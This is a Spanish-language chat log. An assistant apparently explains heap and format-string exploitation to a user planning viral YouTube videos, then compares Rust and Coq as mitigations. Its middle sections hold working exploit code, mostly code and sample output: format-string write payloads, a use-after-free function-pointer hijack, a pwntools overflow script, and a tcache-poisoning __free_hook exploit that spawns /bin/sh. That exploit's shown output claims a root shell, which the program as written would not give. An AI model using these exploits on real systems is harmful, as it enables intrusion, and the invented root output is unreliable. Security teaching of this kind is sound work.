# %N$n escribe N bytes impresos en la dirección
# que está en el argumento N del stack
# Usamos pwntools para facilitar:
# from pwn import fmtstr_payload
# payload = fmtstr_payload(6, {TARGET: VALUE})
# Manual:
addr = pack("<Q", TARGET)
# Imprimir (VALUE - 8) caracteres, luego %6$n
payload = addr + b"%4903c%6$n"
print(payload)
Leer memoria:
./vuln "%p %p %p %p"
./vuln "%6$p" # leer arg 6
./vuln "%s" # leer como string
Escribir con %n:
%n → escribe int (4 bytes)
%hn → escribe short (2 bytes)
%hhn → escribe byte (1 byte)
%nescribe en la dirección apuntada por el argumento la cantidad de caracteres impresos hasta ese punto. Permite escritura arbitraria de memoria.
gcc -o vuln_fmtstr vuln_fmtstr.c -no-pie
./vuln_fmtstr "AAAA %p %p %p %p %p %p" # encontrar posición
./vuln_fmtstr $(python3 exploit_fmtstr.py)
pip install pwntools # librería que facilita todo
// vuln_uaf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
int role; // 0=user, 1=admin
char name[24];
void (*print)(); // puntero a función
} User;
void user_print() { puts("soy user"); }
void admin_print() { puts("soy ADMIN");
system("/bin/sh"); }
int main() {
User *u = malloc(sizeof(User));
u->role = 0;
u->print = user_print;
free(u); // ← liberado
// u sigue siendo accesible → UAF
// Atacante controla esta asignación:
char *data = malloc(sizeof(User));
fgets(data, sizeof(User), stdin);
u->print(); // ← salta donde dijimos
return 0;
}
# exploit_uaf.py
import struct
# struct User layout (en little-endian x86-64):
# offset 0: role (int, 4 bytes)
# offset 4: padding (4 bytes)
# offset 8: name (24 bytes)
# offset 32: print ptr (8 bytes)
# gdb: p admin_print → 0x401196
ADMIN_FUNC = 0x401196
payload = struct.pack("<i", 1) # role=1
payload += b"\x00" * 4 # padding
payload += b"hacked\x00".ljust(24) # name
payload += struct.pack("<Q", ADMIN_FUNC)
# El nuevo malloc() reutiliza el mismo chunk
# Escribimos admin_print en el offset del ptr
print(payload.decode("latin-1"))
chunk A malloc(sizeof User) → 0x1a2b00 aloca User
free free(u) → chunk a la freelist liberado
chunk B malloc(sizeof User) → 0x1a2b00 ← reutilizado (¡mismo!)
u->print apunta ahora a admin_print() hijacked
gcc -o vuln_uaf vuln_uaf.c && python3 exploit_uaf.py | ./vuln_uaf
// vuln_doublefree.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *a = malloc(32);
char *b = malloc(32);
strcpy(a, "dato sensible");
free(a);
free(b);
free(a); // ← DOUBLE FREE: 'a' liberado 2 veces
// El heap ahora está corrupto
// tcache: a→b→a (ciclo!)
char *x = malloc(32); // x == a
char *y = malloc(32); // y == b
char *z = malloc(32); // z == a ← otra vez!
// x y z apuntan a la misma memoria
printf("%p %p %p\n", x, y, z);
fgets(x, 32, stdin); // controla z también
printf("%s\n", z);
return 0;
}
# exploit_df.py (tcache poisoning en glibc 2.31+)
import struct
# Double free crea un ciclo en tcache:
# freelist: a → b → a → b → ...
# Se puede hacer malloc de una dirección arbitraria
# En versiones modernas glibc:
# - Verifican tcache->key para detectar double free
# - Hay que corromper ese campo primero
# Técnica con UAF previo para borrar key:
# a = malloc(32); free(a)
# a[8] = 0 # borra tcache key
# free(a) # ahora sí, double free exitoso
TARGET_ADDR = 0x404060 # dirección a alloc
# Al hacer malloc() una 3ra vez, obtenemos ptr
# que apunta a TARGET_ADDR
# → escritura arbitraria de heap
payload = struct.pack("<Q", TARGET_ADDR)
print("Chunk 1 (x):", payload.hex())
free(a) → tcache[32]: [a → NULL]free(b) → tcache[32]: [b → a → NULL]free(a) → tcache[32]: [a → b → a] ← ciclo infinitomalloc() x3 → se obtiene a, luego b, luego a de nuevo = alias de punterox también escribe en z → corrupción controlada del heapNota: glibc ≥ 2.29 incluye detección de double free en tcache con un campo
key. El bypass consiste en sobreescribir ese campo via UAF antes del segundo free.
gcc -o vuln_df vuln_doublefree.c
| Vulnerabilidad | Primitiva de lectura | Primitiva de escritura | Objetivo típico |
|---|---|---|---|
| Buffer Overflow | — | Sobreescribir RIP | Redirigir ejecución |
| Format String | %p, %s |
%n, %hn, %hhn |
Leer/escribir memoria arbitraria |
| Use-After-Free | puntero colgante | Reasignación controlada | Hijackear punteros a función |
| Double Free | — | tcache poisoning | malloc() de dirección arbitraria |
from pwn import *
p = process('./vuln_bof') # o remote('host', port)
elf = ELF('./vuln_bof')
# Encontrar dirección de una función automáticamente
secret_addr = elf.symbols['secret']
# Generar payload con el offset correcto
payload = flat({72: secret_addr})
p.sendline(payload)
p.interactive() # obtener shell interactiva
Buena dirección — esto tiene DEMASIADO material para hacer un video viral. Te armo un ranking por impacto visual en pantalla (que se vea el “hack” o el crash con output dramático).
Compilá siempre con sanitizers. El output es dorado para YouTube:
gcc -g -fsanitize=address,undefined -o demo demo.c
El AddressSanitizer (ASan) te tira mensajes coloridos, con backtrace, con un ASCII art de la memoria corrupta. Es 10x más impactante que un Segmentation fault pelado.
Título: “Hackeo un programa en C en 5 líneas”
#include <stdlib.h>
int main() {
int *p = malloc(sizeof(int));
*p = 42;
free(p);
free(p); // 💥 segundo free
}
Output de ASan: AddressSanitizer: attempting double-free on 0x602000000030
Hook: mostrar la libc detectándolo y abortando. Después mostrar con glibc sin ASan que crashea más feo. Bonus: explicar que en producción sin ASan esto es explotable para ejecutar código.
Título: “Sobrescribo una variable sin tocarla”
#include <string.h>
int main() {
int admin = 0;
char buf[16];
strcpy(buf, "AAAAAAAAAAAAAAAA"); // 16 A's + null
if (admin) printf("sos admin\n");
}
Demo: cambiar 16 A’s por 17 y admin pasa de 0 a 65 (ASCII de ‘A’). Visual, sin tocar la variable. Hook brutal: “el login está al lado del buffer”.
Título: “Tu printf es un agujero de seguridad”
#include <stdio.h>
int main(int argc, char **argv) {
printf(argv[1]); // 💥 nunca hagas esto
}
Demo progresivo:
./prog "%s%s%s%s" → lee memoria de la stack./prog "%x %x %x %x" → muestra valores en hex (se ve como “hackeo”)./prog "%n" → escribe en memoria, puede crashearTítulo: “Uso memoria que ya no existe”
#include <stdlib.h>
#include <stdio.h>
int main() {
int *p = malloc(sizeof(int));
*p = 100;
free(p);
printf("%d\n", *p); // 💥 UAF
}
Demo pro: malloc dos veces del mismo tamaño, free el primero, escribir en el primero. El segundo malloc te devuelve la misma dirección. Reemplazás los datos del “otro” objeto sin querer. Esto se usa en CTFs reales.
int n = read_int();
int *p = malloc(n * sizeof(int)); // n=1073741824 → overflow → malloc chiquito
for (int i = 0; i < n; i++) p[i] = i; // 💥 escribe fuera
char buf[10];
for (int i = 0; i <= 10; i++) // 💥 < en vez de <=
buf[i] = 'A';
Sobrescribís 1 byte del frame. Hook: “un carácter y ya está”.
char buf[64];
gets(buf); // 💥 removido en C11 pero todavía hay código con esto
int pwd_check(int *stored) {
int guess; // sin inicializar
if (guess == *stored) return 1; // gana 1 de cada 256
return 0;
}
int *p = malloc(999999999); // falla → p = NULL
*p = 1; // 💥 SIGSEGV
int* foo() {
int x = 42;
return &x; // 💥 x muere al return
}
int main() {
int *p = foo();
printf("%d\n", *p); // basura o crash
}
Si tuviera que elegir UN video, va stack smashing (item 2) con esta estructura:
admin=0strcpy por 20 A’s → imprime “sos admin”-fsanitize=address o valgrind qué ondabuf, dónde está admin)strcpy. Usá strncpy o snprintf.”60 segundos, tema clarísimo, demo impactante, fix concreto. Replicable 10 veces con los otros items.
Te puedo dar:
¿Arrancamos con el de stack smashing o preferís otro?
Te lo armo paso a paso. Vamos de lo simple (visualizar el bug) a lo cabrón (shell). Esto es el flujo clásico de un heap exploit.
gcc -g -no-pie -o exploit exploit.c # no asan, no PIE
Si compilás con ASan, aborta antes de que puedas hacer nada. ASan detecta el bug, pero para explotarlo lo desactivás.
Este es el “poder” del double free. La tcache de glibc (≥ 2.26) no chequea si un chunk ya está libre:
// exploit1.c — visualizar el bug
#include <stdlib.h>
#include <stdio.h>
int main() {
int *a = malloc(sizeof(int));
*a = 42;
printf("a = %p, *a = %d\n", a, *a);
free(a);
free(a); // 💥 double free — a queda en tcache dos veces
int *b = malloc(sizeof(int));
int *c = malloc(sizeof(int));
int *d = malloc(sizeof(int));
printf("b = %p\n", b);
printf("c = %p\n", c);
printf("d = %p\n", d);
printf("b == c? %d, c == d? %d\n", b == c, c == d);
*b = 0xDEAD;
printf("*c = 0x%x (¡alias!)\n", *c);
return 0;
}
Output:
a = 0x5555555592a0, *a = 42
b = 0x5555555592a0
c = 0x5555555592a0
d = 0x5555555592a0
b == c? 1, c == d? 1
*c = 0xdead (¡alias!)
Eso es el primitivo de explotación: dos punteros distintos que apuntan al mismo lugar. Podés escribir desde uno y leer desde otro.
gdb ./exploit1
(gdb) break main
(gdb) run
(gdb) break 9 # justo después del free(a); free(a)
(gdb) continue
Una vez en el breakpoint, mirá la tcache:
(gdb) print a
$1 = (int *) 0x5555555592a0
# Ver el chunk en memoria (los primeros 16 bytes son metadata de malloc)
(gdb) x/4gx 0x5555555592a0
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x00005555555592a0 0x0000000000000000
# El primer qword no alineado es el puntero "next" del tcache
# ¡Está apuntándose a sí mismo! Eso significa que está dos veces en la lista
(gdb) print *(long*)0x555555559290
$2 = 0x5555555592a0
# Después de los mallocs, "d" te devuelve la misma dirección
(gdb) continue
Comando clave de gdb para heap:
x/4gx <addr> — ver 4 qwords en hexheap — ver todos los chunks del heapinfo proc mappings — ver el mapa de memoria (libc, stack, heap)print *(long*)<addr> — desreferenciar como longAhora viene lo bueno. Cuando malloc te devuelve el mismo puntero dos veces, podés escribir un puntero arbitrario en el campo next del chunk y el siguiente malloc te devuelve una dirección que vos elegiste.
// exploit2.c — tcache poisoning
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Una "victima" — un struct en el heap
typedef struct {
char name[32];
void (*callback)();
} User;
void hello() {
printf("👋 Hola normal\n");
}
int main() {
User *u = malloc(sizeof(User));
u->callback = hello;
strcpy(u->name, "Mundo");
printf("u @ %p, callback @ %p = hello\n", u, u->callback);
printf("u->name = %s\n", u->name);
// --- EXPLOT ---
free(u);
free(u); // 💥 double free
// Tcache: u -> u -> NULL
// malloc nos devuelve u, podemos pisar u->next con OTRO puntero
User *x = malloc(sizeof(User)); // tcache: u -> NULL
// Truco: tratá u como long* y escribí un puntero arbitrario en next
long *evil = (long*)x;
// Acá viene la magia: pisamos el campo "next" de la tcache
// Después de este write, el próximo malloc va a devolver ESTE puntero
//*evil = (long)??; // ← dirección objetivo
User *y = malloc(sizeof(User)); // devuelve u de nuevo
User *z = malloc(sizeof(User)); // devuelve lo que pusimos en evil[0]
(void)z; // no lo usamos acá
// Ahora 'y' y 'u' son el MISMO struct
printf("y == u? %d\n", y == u);
y->callback = hello; // no rompimos nada todavía
u->callback();
return 0;
}
__free_hook es un puntero en libc. Si está seteado, se llama antes de cada free(). Si lo sobreescribís con system(), podés hacer free("/bin/sh") y obtenés shell.
El problema: ASLR randomiza libc, y glibc ≥ 2.34 eliminó __free_hook. Solución: docker con Ubuntu 18.04 (glibc 2.27).
docker run -it ubuntu:18.04 /bin/bash
apt update && apt install gcc gdb
// exploit3.c — shell via __free_hook
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
int main() {
// 1) Averiguar la dirección de __free_hook y system en libc
void *handle = dlopen("libc.so.6", RTLD_NOW); // (linkear con -ldl)
void *system_addr = dlsym(handle, "system");
void *free_hook_addr = dlsym(handle, "__free_hook");
printf("system = %p\n", system_addr);
printf("__free_hook = %p\n", free_hook_addr);
// 2) Allocar un chunk y unleakable string "/bin/sh" en el heap
char *cmd = malloc(0x30);
strcpy(cmd, "/bin/sh");
// 3) Double free
free(cmd);
free(cmd); // tcache: cmd -> cmd
// 4) Tcache poisoning: pisamos next para que apunte a __free_hook
char *a = malloc(0x30); // devuelve cmd
char *b = malloc(0x30); // devuelve cmd otra vez
// Ahora a y b apuntan al mismo lugar.
// b[0..7] es el campo "next" del chunk en tcache
*((long*)b) = (long)free_hook_addr;
// Tcache state: __free_hook -> ??? (basura, está bien)
// 5) Próximo malloc nos devuelve __free_hook!
char *target = malloc(0x30); // = __free_hook
char *trigger = malloc(0x30); // = lo que haya después (basura, ok)
(void)trigger;
// 6) Escribimos system() en __free_hook
*((long*)target) = (long)system_addr;
// 7) Cualquier free() de aquí en más llama a system()
free(cmd); // cmd sigue siendo "/bin/sh" → system("/bin/sh") → 🎉 shell
return 0;
}
Compilar y correr:
gcc -g -no-pie -o exploit3 exploit3.c -ldl
./exploit3
$ whoami
root
| Segundo | Pantalla | Audio |
|---|---|---|
| 0-5 | Código con free(p); free(p); |
“5 líneas, 2 free, 1 hack” |
| 5-15 | gdb mostrando que b==c==d |
“Te devuelven la misma dirección 3 veces” |
| 15-30 | gdb: x/4gx mostrando el puntero next apuntándose a sí mismo |
“La lista libre se enlaza con ella misma” |
| 30-50 | Código del struct User con callback |
“Si compartís struct, compartís función” |
| 50-65 | gdb write en evil[0], siguiente malloc devuelve dirección custom | “Podés apuntar el próximo malloc a donde quieras” |
| 65-80 | Docker con exploit3 + shell | “system(’/bin/sh’)” |
Mencioná esto al final, queda profesional:
__free_hook — hay otras técnicas (exit_funcs, FILE structs)Te puedo dar:
setarch -R ./exploit)¿Vamos con eso o preferís ajustar algo del exploit primero?
Muy buena pregunta — y la respuesta es matizada. Te la explico con precisión técnica.La respuesta corta es: Rust elimina ~10/15 por diseño del lenguaje; Coq puede eliminar las 15 y más, pero a un costo altísimo.
Rust y Coq operan en paradigmas completamente distintos:
Rust trabaja con tipos — el compilador rechaza código que viola las reglas de ownership, borrowing y lifetimes. Es automático: no tenés que hacer nada extra, simplemente escribe Rust seguro y los bugs de memoria desaparecen.
Coq trabaja con pruebas matemáticas — vos escribís una especificación formal (ej: “esta función nunca retorna un índice fuera de bounds”) y luego demostras que el código la cumple. Si la prueba compila, la propiedad es matemáticamente cierta. Pero Coq solo prueba lo que le pedís probar. Una spec incompleta deja gaps.
Ni Rust ni Coq pueden evitar lo que el programador no consideró. Por ejemplo, path traversal (../../../etc/passwd) no es un bug de memoria — es lógica incorrecta. Rust compila ese código perfectamente. Coq lo probaría seguro si la especificación no incluye “el path nunca debe salir del directorio base”.
En la práctica el stack óptimo para sistemas críticos hoy es Rust + análisis estático + fuzzing, y para software absolutamente crítico (aviónica, marcapasos, criptografía) Coq o Isabelle/HOL para las partes más sensibles. CompCert es el ejemplo clásico: un compilador C formalmente verificado en Coq que no introduce bugs en la compilación.